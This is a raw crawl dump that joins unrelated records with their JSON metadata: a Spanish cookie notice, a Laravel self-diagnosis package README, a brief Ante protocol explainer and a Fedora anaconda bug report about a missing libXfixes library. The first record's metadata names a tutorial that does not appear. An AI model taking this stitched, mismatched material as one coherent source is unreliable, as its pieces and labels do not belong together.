Uso de cookies: Este sitio web utiliza cookies para que usted tenga la mejor experiencia de usuario. Si continúa navegando está dando su consentimiento para la aceptación de las mencionadas cookies y la aceptación de nuestra política de cookies
ACEPTAR
Aviso de cookies | {
"url": "https://www.imaginaformacion.com/joystick-con-cocos2d-y-sneakyinput/",
"source_domain": "www.imaginaformacion.com",
"snapshot_id": "crawl=CC-MAIN-2018-34",
"warc_metadata": {
"Content-Length": "90186",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:AGGKL66SIPZUDBVX4HFBGFNW7LH62RWC",
"WARC-Concurrent-To": "<urn:uuid:78ed0620-a984-4a2b-ab84-892107e06006>",
"WARC-Date": "2018-08-20T10:20:43Z",
"WARC-IP-Address": "51.254.152.94",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:BLMNLF3GR4IXZBTO26VLQA77WIE765YN",
"WARC-Record-ID": "<urn:uuid:159d4925-726e-410e-87de-fcb5878a821f>",
"WARC-Target-URI": "https://www.imaginaformacion.com/joystick-con-cocos2d-y-sneakyinput/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:f5cf9cd5-0642-4f1a-861f-1146b2947bbd>"
},
"warc_info": "isPartOf: CC-MAIN-2018-34\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2018\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-159-181-253.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
65,
66,
101,
102,
106,
117,
128,
129,
254,
255,
313,
314,
415,
416,
500,
501,
520,
537,
565,
595,
596,
732,
733,
857,
858,
859,
897,
935,
980,
1023,
1077,
1133,
1134,
1167,
1192,
1214,
1236,
1238,
1239,
1262,
1263,
1264,
1319,
1371,
1423,
1424,
1475,
1476,
1477,
1504,
1505,
1526,
1546,
1566,
1567,
1638,
1639,
1640,
1651,
1653,
1682,
1684,
1685,
1687,
1700,
1702,
1703,
1830,
1831,
1865,
1866,
1867,
1964,
1965,
1990,
2025,
2026,
2145,
2236,
2327,
2413,
2454,
2487,
2488,
2557,
2558,
2559,
2587,
2679,
2680,
2742,
2777,
2778,
2814,
2900,
2999,
3094,
3176,
3177,
3214,
3215,
3241,
3272,
3273,
3302,
3303,
3304,
3332,
3424,
3425,
3450,
3485,
3486,
3511,
3597,
3696,
3791,
3870,
3871,
3908,
3909,
3935,
3967,
3968,
4062,
4063,
4064,
4102,
4143,
4144,
4163,
4200,
4202,
4224,
4226,
4227,
4251,
4252,
4253,
4264,
4266,
4293,
4294,
4332,
4363,
4386,
4388,
4401,
4403,
4404,
4639,
4640,
4641,
4671,
4672,
4728,
4776,
4862,
5072,
5153,
5208,
5288,
5290,
5291,
5302,
5334,
5371,
5373,
5374,
5385,
5417,
5454,
5456,
5457,
5459,
5460,
5533,
5534,
5535,
5552,
5554,
5574,
5591,
5593,
5594,
5704,
5705,
5706,
5751,
5856,
5901,
5945,
5998,
6096,
6140,
6201,
6283,
6356,
6362,
6404,
6405,
6433,
6435,
6436,
6603,
6604,
6629,
6630,
6649,
6650,
6681,
6682,
6703,
6704,
6726,
6727,
6797,
6907,
7002,
7089,
7090,
7335,
7336,
7344
],
"line_end_idx": [
65,
66,
101,
102,
106,
117,
128,
129,
254,
255,
313,
314,
415,
416,
500,
501,
520,
537,
565,
595,
596,
732,
733,
857,
858,
859,
897,
935,
980,
1023,
1077,
1133,
1134,
1167,
1192,
1214,
1236,
1238,
1239,
1262,
1263,
1264,
1319,
1371,
1423,
1424,
1475,
1476,
1477,
1504,
1505,
1526,
1546,
1566,
1567,
1638,
1639,
1640,
1651,
1653,
1682,
1684,
1685,
1687,
1700,
1702,
1703,
1830,
1831,
1865,
1866,
1867,
1964,
1965,
1990,
2025,
2026,
2145,
2236,
2327,
2413,
2454,
2487,
2488,
2557,
2558,
2559,
2587,
2679,
2680,
2742,
2777,
2778,
2814,
2900,
2999,
3094,
3176,
3177,
3214,
3215,
3241,
3272,
3273,
3302,
3303,
3304,
3332,
3424,
3425,
3450,
3485,
3486,
3511,
3597,
3696,
3791,
3870,
3871,
3908,
3909,
3935,
3967,
3968,
4062,
4063,
4064,
4102,
4143,
4144,
4163,
4200,
4202,
4224,
4226,
4227,
4251,
4252,
4253,
4264,
4266,
4293,
4294,
4332,
4363,
4386,
4388,
4401,
4403,
4404,
4639,
4640,
4641,
4671,
4672,
4728,
4776,
4862,
5072,
5153,
5208,
5288,
5290,
5291,
5302,
5334,
5371,
5373,
5374,
5385,
5417,
5454,
5456,
5457,
5459,
5460,
5533,
5534,
5535,
5552,
5554,
5574,
5591,
5593,
5594,
5704,
5705,
5706,
5751,
5856,
5901,
5945,
5998,
6096,
6140,
6201,
6283,
6356,
6362,
6404,
6405,
6433,
6435,
6436,
6603,
6604,
6629,
6630,
6649,
6650,
6681,
6682,
6703,
6704,
6726,
6727,
6797,
6907,
7002,
7089,
7090,
7335,
7336,
7344,
7360
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 7360,
"ccnet_original_nlines": 224,
"rps_doc_curly_bracket": 0.004076090175658464,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.06514438986778259,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.02014775015413761,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.39892545342445374,
"rps_doc_frac_unique_words": 0.4861878454685211,
"rps_doc_mean_word_length": 8.071823120117188,
"rps_doc_num_sentences": 94,
"rps_doc_symbol_to_word_ratio": 0.009402279742062092,
"rps_doc_unigram_entropy": 5.464777946472168,
"rps_doc_word_count": 724,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.031827520579099655,
"rps_doc_frac_chars_dupe_6grams": 0.02156057022511959,
"rps_doc_frac_chars_dupe_7grams": 0.02156057022511959,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.012833680026233196,
"rps_doc_frac_chars_top_3gram": 0.01642709970474243,
"rps_doc_frac_chars_top_4gram": 0.011978100053966045,
"rps_doc_books_importance": -793.7455444335938,
"rps_doc_books_importance_length_correction": -793.7455444335938,
"rps_doc_openwebtext_importance": -467.86212158203125,
"rps_doc_openwebtext_importance_length_correction": -467.86212158203125,
"rps_doc_wikipedia_importance": -433.95672607421875,
"rps_doc_wikipedia_importance_length_correction": -433.95672607421875
},
"fasttext": {
"dclm": 0.9716842174530029,
"english": 0.043004970997571945,
"fineweb_edu_approx": 2.1440534591674805,
"eai_general_math": 0.00936179980635643,
"eai_open_web_math": 0.2551363706588745,
"eai_web_code": 0.3353114128112793
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "794.8",
"labels": {
"level_1": "Arts",
"level_2": "Amusements and Recreation",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-6,742,960,657,353,247,000 | beyondcode/laravel-self-diagnosis
Perform various self diagnosis tests on your Laravel application.
1.5.0 2020-10-22 07:36 UTC
This package is auto-updated.
Last update: 2020-12-22 07:55:18 UTC
README
Latest Version on Packagist Build Status Quality Score Total Downloads
This package allows you to run self-diagnosis tests on your Laravel application. It comes with multiple checks out of the box and allows you to add custom checks yourself.
Here is an example output of the command:
All Checks passed
Included checks
• Is the APP_KEY set?
• Are your composer dependencies up to date with the composer.lock file?
• Do you have the correct PHP version installed?
• Do you have the correct PHP extensions installed?
• Can a connection to the database be established?
• Do the storage and bootstrap/cache directories have the correct permissions?
• Does the .env file exist?
• Is the maintenance mode disabled?
• Are the required locales installed on the system?
• Are there environment variables that exist in .env.example but not in .env?
• Are there any migrations that need to be run?
• Is the storage directory linked?
• Can Redis be accessed?
Development environment checks
• Is the configuration not cached?
• Are the routes not cached?
• Are there environment variables that exist in .env but not in .env.example?
Production environment checks
• Is the configuration cached?
• Are the routes cached?
• Is the xdebug PHP extension disabled?
• Is APP_DEBUG set to false?
• Are certain servers reachable?
• Are certain supervisor programs running?
Installation
You can install the package via composer:
composer require beyondcode/laravel-self-diagnosis
If you're using Laravel 5.5+ the SelfDiagnosisServiceProvider will be automatically registered for you.
Usage
Just call the artisan command to start the checks:
php artisan self-diagnosis
Customization
You can publish the configuration file, that contains all available checks using:
php artisan vendor:publish --provider=BeyondCode\\SelfDiagnosis\\SelfDiagnosisServiceProvider
This will publish a self-diagnosis.php file in your config folder. This file contains all the checks that will be performed on your application.
<?php
return [
/*
* A list of environment aliases mapped to the actual environment configuration.
*/
'environment_aliases' => [
'prod' => 'production',
'live' => 'production',
'local' => 'development',
],
/*
* Common checks that will be performed on all environments.
*/
'checks' => [
\BeyondCode\SelfDiagnosis\Checks\AppKeyIsSet::class,
\BeyondCode\SelfDiagnosis\Checks\CorrectPhpVersionIsInstalled::class,
\BeyondCode\SelfDiagnosis\Checks\DatabaseCanBeAccessed::class => [
'default_connection' => true,
'connections' => [],
],
\BeyondCode\SelfDiagnosis\Checks\DirectoriesHaveCorrectPermissions::class => [
'directories' => [
storage_path(),
base_path('bootstrap/cache'),
],
],
\BeyondCode\SelfDiagnosis\Checks\EnvFileExists::class,
\BeyondCode\SelfDiagnosis\Checks\ExampleEnvironmentVariablesAreSet::class,
\BeyondCode\SelfDiagnosis\Checks\LocalesAreInstalled::class => [
'required_locales' => [
'en_US',
'en_US.utf8',
],
],
\BeyondCode\SelfDiagnosis\Checks\MaintenanceModeNotEnabled::class,
\BeyondCode\SelfDiagnosis\Checks\MigrationsAreUpToDate::class,
\BeyondCode\SelfDiagnosis\Checks\PhpExtensionsAreInstalled::class => [
'extensions' => [
'openssl',
'PDO',
'mbstring',
'tokenizer',
'xml',
'ctype',
'json',
],
'include_composer_extensions' => true,
],
\BeyondCode\SelfDiagnosis\Checks\StorageDirectoryIsLinked::class,
],
/*
* Environment specific checks that will only be performed for the corresponding environment.
*/
'environment_checks' => [
'development' => [
\BeyondCode\SelfDiagnosis\Checks\ComposerWithDevDependenciesIsUpToDate::class => [
'additional_options' => '--ignore-platform-reqs',
],
\BeyondCode\SelfDiagnosis\Checks\ConfigurationIsNotCached::class,
\BeyondCode\SelfDiagnosis\Checks\RoutesAreNotCached::class,
],
'production' => [
\BeyondCode\SelfDiagnosis\Checks\ComposerWithoutDevDependenciesIsUpToDate::class => [
'additional_options' => '--ignore-platform-reqs',
],
\BeyondCode\SelfDiagnosis\Checks\ConfigurationIsCached::class,
\BeyondCode\SelfDiagnosis\Checks\DebugModeIsNotEnabled::class,
\BeyondCode\SelfDiagnosis\Checks\PhpExtensionsAreDisabled::class => [
'extensions' => [
'xdebug',
],
],
\BeyondCode\SelfDiagnosis\Checks\RedisCanBeAccessed::class => [
'default_connection' => true,
'connections' => [],
],
\BeyondCode\SelfDiagnosis\Checks\RoutesAreCached::class,
\BeyondCode\SelfDiagnosis\Checks\ServersArePingable::class => [
'servers' => [
'www.google.com',
['host' => 'www.google.com', 'port' => 8080],
'8.8.8.8',
['host' => '8.8.8.8', 'port' => 8080, 'timeout' => 5],
],
],
\BeyondCode\SelfDiagnosis\Checks\SupervisorProgramsAreRunning::class => [
'programs' => [
'horizon',
],
'restarted_within' => 300, // max seconds since last restart, 0 to disable check
],
],
],
];
Available Configuration Options
The following options are available for the individual checks:
Custom Checks
You can create custom checks, by implementing the BeyondCode\SelfDiagnosis\Checks\Check interface and adding the class to the config file. Like this:
<?php
use BeyondCode\SelfDiagnosis\Checks\Check;
class MyCustomCheck implements Check
{
/**
* The name of the check.
*
* @param array $config
* @return string
*/
public function name(array $config): string
{
return 'My custom check.';
}
/**
* Perform the actual verification of this check.
*
* @param array $config
* @return bool
*/
public function check(array $config): bool
{
return true;
}
/**
* The error message to display in case the check does not pass.
*
* @param array $config
* @return string
*/
public function message(array $config): string
{
return 'This is the error message that users see if "check" returns false.';
}
}
Example Output
Some Checks failed
Testing
composer test
Changelog
Please see CHANGELOG for more information what has changed recently.
Contributing
Please see CONTRIBUTING for details.
Security
If you discover any security related issues, please email [email protected] instead of using the issue tracker.
Credits
License
The MIT License (MIT). Please see License File for more information. | {
"url": "https://packagist.org/packages/beyondcode/laravel-self-diagnosis",
"source_domain": "packagist.org",
"snapshot_id": "crawl=CC-MAIN-2021-04",
"warc_metadata": {
"Content-Length": "52948",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:L46WKHHKTW7JP6NY6G2YWXIOUICNNCBN",
"WARC-Concurrent-To": "<urn:uuid:a2346ccc-35ed-4fa8-8eb1-4aa7acc56419>",
"WARC-Date": "2021-01-16T03:16:09Z",
"WARC-IP-Address": "142.44.164.255",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:6NEI4MXVBGUPQ3PVED7NU7HXYBIAOLKW",
"WARC-Record-ID": "<urn:uuid:1b02ac88-dd45-4298-8c64-ee2b36dc1a35>",
"WARC-Target-URI": "https://packagist.org/packages/beyondcode/laravel-self-diagnosis",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:48b780b4-b243-4e59-8995-7fe68dfd91b0>"
},
"warc_info": "isPartOf: CC-MAIN-2021-04\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-32.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
34,
35,
101,
102,
129,
130,
160,
161,
198,
199,
200,
207,
208,
279,
280,
452,
453,
495,
496,
514,
515,
531,
532,
556,
631,
682,
736,
789,
870,
900,
938,
992,
1072,
1122,
1159,
1186,
1187,
1218,
1219,
1256,
1287,
1367,
1368,
1398,
1399,
1432,
1459,
1501,
1532,
1567,
1612,
1613,
1626,
1627,
1669,
1670,
1721,
1722,
1826,
1827,
1833,
1834,
1885,
1886,
1913,
1914,
1928,
1929,
2011,
2012,
2106,
2107,
2252,
2253,
2259,
2260,
2269,
2270,
2277,
2362,
2370,
2401,
2433,
2465,
2499,
2506,
2507,
2514,
2579,
2587,
2605,
2666,
2744,
2819,
2861,
2894,
2905,
2992,
3023,
3055,
3101,
3116,
3127,
3190,
3273,
3346,
3382,
3407,
3437,
3452,
3463,
3538,
3609,
3688,
3718,
3745,
3768,
3796,
3825,
3848,
3873,
3897,
3912,
3963,
3974,
4048,
4055,
4056,
4063,
4161,
4169,
4199,
4226,
4321,
4387,
4402,
4480,
4552,
4563,
4589,
4687,
4753,
4768,
4843,
4918,
5000,
5034,
5064,
5083,
5098,
5174,
5220,
5257,
5272,
5341,
5417,
5448,
5486,
5552,
5583,
5658,
5677,
5692,
5778,
5810,
5841,
5860,
5957,
5972,
5983,
5990,
5991,
5994,
5995,
6027,
6028,
6091,
6092,
6106,
6107,
6257,
6258,
6264,
6265,
6308,
6309,
6346,
6348,
6356,
6386,
6393,
6421,
6443,
6451,
6499,
6505,
6540,
6546,
6547,
6555,
6609,
6616,
6644,
6664,
6672,
6719,
6725,
6746,
6752,
6753,
6761,
6830,
6837,
6865,
6887,
6895,
6946,
6952,
7037,
7043,
7045,
7046,
7061,
7062,
7081,
7082,
7090,
7091,
7105,
7106,
7116,
7117,
7186,
7187,
7200,
7201,
7238,
7239,
7248,
7249,
7362,
7363,
7371,
7372,
7380,
7381
],
"line_end_idx": [
34,
35,
101,
102,
129,
130,
160,
161,
198,
199,
200,
207,
208,
279,
280,
452,
453,
495,
496,
514,
515,
531,
532,
556,
631,
682,
736,
789,
870,
900,
938,
992,
1072,
1122,
1159,
1186,
1187,
1218,
1219,
1256,
1287,
1367,
1368,
1398,
1399,
1432,
1459,
1501,
1532,
1567,
1612,
1613,
1626,
1627,
1669,
1670,
1721,
1722,
1826,
1827,
1833,
1834,
1885,
1886,
1913,
1914,
1928,
1929,
2011,
2012,
2106,
2107,
2252,
2253,
2259,
2260,
2269,
2270,
2277,
2362,
2370,
2401,
2433,
2465,
2499,
2506,
2507,
2514,
2579,
2587,
2605,
2666,
2744,
2819,
2861,
2894,
2905,
2992,
3023,
3055,
3101,
3116,
3127,
3190,
3273,
3346,
3382,
3407,
3437,
3452,
3463,
3538,
3609,
3688,
3718,
3745,
3768,
3796,
3825,
3848,
3873,
3897,
3912,
3963,
3974,
4048,
4055,
4056,
4063,
4161,
4169,
4199,
4226,
4321,
4387,
4402,
4480,
4552,
4563,
4589,
4687,
4753,
4768,
4843,
4918,
5000,
5034,
5064,
5083,
5098,
5174,
5220,
5257,
5272,
5341,
5417,
5448,
5486,
5552,
5583,
5658,
5677,
5692,
5778,
5810,
5841,
5860,
5957,
5972,
5983,
5990,
5991,
5994,
5995,
6027,
6028,
6091,
6092,
6106,
6107,
6257,
6258,
6264,
6265,
6308,
6309,
6346,
6348,
6356,
6386,
6393,
6421,
6443,
6451,
6499,
6505,
6540,
6546,
6547,
6555,
6609,
6616,
6644,
6664,
6672,
6719,
6725,
6746,
6752,
6753,
6761,
6830,
6837,
6865,
6887,
6895,
6946,
6952,
7037,
7043,
7045,
7046,
7061,
7062,
7081,
7082,
7090,
7091,
7105,
7106,
7116,
7117,
7186,
7187,
7200,
7201,
7238,
7239,
7248,
7249,
7362,
7363,
7371,
7372,
7380,
7381,
7449
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 7449,
"ccnet_original_nlines": 246,
"rps_doc_curly_bracket": 0.0010739699937403202,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.15107913315296173,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.011191049590706825,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.4300559461116791,
"rps_doc_frac_unique_words": 0.4579288065433502,
"rps_doc_mean_word_length": 7.752427101135254,
"rps_doc_num_sentences": 68,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.183624267578125,
"rps_doc_word_count": 618,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.0968482568860054,
"rps_doc_frac_chars_dupe_6grams": 0.07013150304555893,
"rps_doc_frac_chars_dupe_7grams": 0.043832190334796906,
"rps_doc_frac_chars_dupe_8grams": 0.01669798046350479,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.007514089811593294,
"rps_doc_frac_chars_top_3gram": 0.007514089811593294,
"rps_doc_frac_chars_top_4gram": 0.007514089811593294,
"rps_doc_books_importance": -464.08544921875,
"rps_doc_books_importance_length_correction": -464.08544921875,
"rps_doc_openwebtext_importance": -231.32244873046875,
"rps_doc_openwebtext_importance_length_correction": -231.32244873046875,
"rps_doc_wikipedia_importance": -118.98444366455078,
"rps_doc_wikipedia_importance_length_correction": -118.98444366455078
},
"fasttext": {
"dclm": 0.04268825054168701,
"english": 0.6247959733009338,
"fineweb_edu_approx": 1.5034867525100708,
"eai_general_math": 0.3431857228279114,
"eai_open_web_math": 0.26469725370407104,
"eai_web_code": 0.6270739436149597
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.452",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
7,474,745,739,237,152,000 | Ante
Ante v0.6
Search
K
How Ante works
The core pieces of the Ante protocol are:
• Ante Tests = on-chain logic that verifies some condition is true/false
• Ante Pools = 2-sided capital pools that people stake or challenge assets in, whose payout is determined by the result of the Ante Test
Pool mechanics
Pools can be staked or challenged.
Challengers pay decay fees to stakers and test authors over time if the test continues to pass, but can claim staker funds as a reward if the test fails.
Pool activity reveals community trust in the tested conditions and can be used to impute a decentralized trust score. | {
"url": "https://docs.ante.finance/ante/getting-started/how-ante-works",
"source_domain": "docs.ante.finance",
"snapshot_id": "CC-MAIN-2023-40",
"warc_metadata": {
"Content-Length": "205409",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:IPHCWUTOCEBWBHTSAZQCC72AGCOEASIV",
"WARC-Concurrent-To": "<urn:uuid:1475902f-2dd7-4652-9d27-2f24a8912727>",
"WARC-Date": "2023-10-01T05:14:40Z",
"WARC-IP-Address": "104.18.40.47",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:GG33LHY5LKLK7BBR5PWZ3QKYLEDAH2PN",
"WARC-Record-ID": "<urn:uuid:18232b86-97d9-4343-ab08-87f3472da57d>",
"WARC-Target-URI": "https://docs.ante.finance/ante/getting-started/how-ante-works",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:3557b48e-0a97-4c78-af6b-d74f63fc22d4>"
},
"warc_info": "isPartOf: CC-MAIN-2023-40\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September/October 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-18\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
5,
15,
22,
24,
25,
40,
41,
83,
158,
297,
298,
313,
314,
349,
503
],
"line_end_idx": [
5,
15,
22,
24,
25,
40,
41,
83,
158,
297,
298,
313,
314,
349,
503,
620
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 620,
"ccnet_original_nlines": 15,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.31707316637039185,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.008130080066621304,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.13008129596710205,
"rps_doc_frac_unique_words": 0.691588819026947,
"rps_doc_mean_word_length": 4.598130702972412,
"rps_doc_num_sentences": 4,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.118520736694336,
"rps_doc_word_count": 107,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.020325200632214546,
"rps_doc_frac_chars_top_3gram": 0.03658536821603775,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -60.59265899658203,
"rps_doc_books_importance_length_correction": -73.1539535522461,
"rps_doc_openwebtext_importance": -34.151065826416016,
"rps_doc_openwebtext_importance_length_correction": -46.71236038208008,
"rps_doc_wikipedia_importance": -27.60049057006836,
"rps_doc_wikipedia_importance_length_correction": -40.16178512573242
},
"fasttext": {
"dclm": 0.07687289267778397,
"english": 0.8955819010734558,
"fineweb_edu_approx": 2.579728126525879,
"eai_general_math": 0.61051344871521,
"eai_open_web_math": 0.23343217372894287,
"eai_web_code": 0.04380524158477783
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.0285",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "332.87",
"labels": {
"level_1": "Social sciences",
"level_2": "Economics",
"level_3": "Finance"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-6,480,867,747,237,514,000 | Bug 143713 - anaconda crashes attempting to load mini-wm
Summary: anaconda crashes attempting to load mini-wm
Status: CLOSED RAWHIDE
Alias: None
Product: Fedora
Classification: Fedora
Component: anaconda (Show other bugs)
(Show other bugs)
Version: rawhide
Hardware: i586 Linux
medium
medium
Target Milestone: ---
Assignee: Jeremy Katz
QA Contact: Mike McLean
URL:
Whiteboard:
Keywords:
Depends On:
Blocks:
TreeView+ depends on / blocked
Reported: 2004-12-24 21:56 UTC by G.Wolfe Woodbury
Modified: 2007-11-30 22:10 UTC (History)
1 user (show)
Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Environment:
Last Closed: 2005-01-10 23:00:34 UTC
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
CRM:
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---
Attachments (Terms of Use)
Description G.Wolfe Woodbury 2004-12-24 21:56:05 UTC
From Bugzilla Helper:
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041111 Firefox/1.0
Description of problem:
during booting on an AMD K6-2 (400MHz) with an ATI Mach64 driven videocard, (320MB RAM) anaconda hangs loading the /usr/bin/mini-wm due to a missing library libXfixes.so.3
Version-Release number of selected component (if applicable):
anaconda-10.2.0.8-1
How reproducible:
Always
Steps to Reproduce:
1. burn rawhide boot.iso image of 2004-12-24 to CDRW
2. boot
3.
Actual Results: X starts but no window manager is loaded due to the missing library
